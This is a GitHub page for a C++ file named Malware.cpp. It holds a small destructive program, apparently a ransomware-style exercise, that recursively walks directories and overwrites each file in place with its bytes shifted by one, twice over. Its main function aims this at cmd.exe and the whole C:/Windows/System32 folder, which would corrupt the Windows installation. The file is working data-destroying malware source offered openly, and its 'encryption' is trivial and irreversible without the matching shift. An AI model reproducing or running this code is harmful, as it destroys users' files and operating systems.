-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathMalware.cpp
More file actions
98 lines (85 loc) · 2.87 KB
/
Malware.cpp
File metadata and controls
98 lines (85 loc) · 2.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <iostream>
#include <fstream>
#include <dirent.h>
#include <sys/stat.h>
using namespace std;
// Function that will encrypt a single file
void encryptFile(string filePath)
{
// Variable "file" will get filePath of targeted file to encrypt
// "tempFile" is a temprary file which save encrypted data of file
fstream file, tempFile;
string tempFilePath = "temp.txt";
// Open file
// Open "file" to read, "tempFile" to write
file.open(filePath, ios::in);
tempFile.open(tempFilePath, ios::out);
// Read byte by byte through "file"
char byte;
while(file >> noskipws >> byte){
// Encrypt this byte by add 1 to it
byte += 1;
// Save this byte into "tempFile"
tempFile << byte;
}
// Close the "file" and "tempFile"
file.close();
tempFile.close();
// Open file
// Open "file" to write, "tempFile" to read
file.open(filePath, ios::out);
tempFile.open(tempFilePath, ios::in);
// Read byte by byte through "tempFile"
while(tempFile >> noskipws >> byte){
// Encrypt this byte by add 1 to it
byte += 1;
// Save this byte into "file"
file << byte;
}
// Close the "file" and "tempFile"
file.close();
tempFile.close();
// Removing "tempFilePath"
remove(tempFilePath.c_str());
}
// Function that will encrypt a directory
// If it find a file, it will encrypt that file
// If it find a directory, it will read through that directory
void encryptDirectory(string directoryPath)
{
DIR* directory;
struct dirent* entry;
struct stat status;
string path;
// Open the directory
if((directory = opendir(directoryPath.c_str())) != NULL){
// Open directory successfully
// Read through directory
while((entry = readdir(directory)) != NULL){
// Check if this entry (file or directory) is current directory (".") or parent ("..")
if(strcmp(entry -> d_name, ".") != 0 && strcmp(entry -> d_name, "..") != 0){
// Get entry full path
path = directoryPath + "\\" + entry -> d_name;
const char * pathChar = path.c_str();
// Check if this entry is a directory or file
stat(pathChar, &status);
if(S_ISDIR(status.st_mode)){
// This is a directory
// We will read through it
encryptDirectory(path);
}
else{
// This is a file
// We're will encrypt it
encryptFile(path);
}
}
}
}
}
int main(){
// Encrypt a file
encryptFile("C:/Windows/System32/cmd.exe");
// Encrypt a folder
encryptDirectory("C:/Windows/System32");
}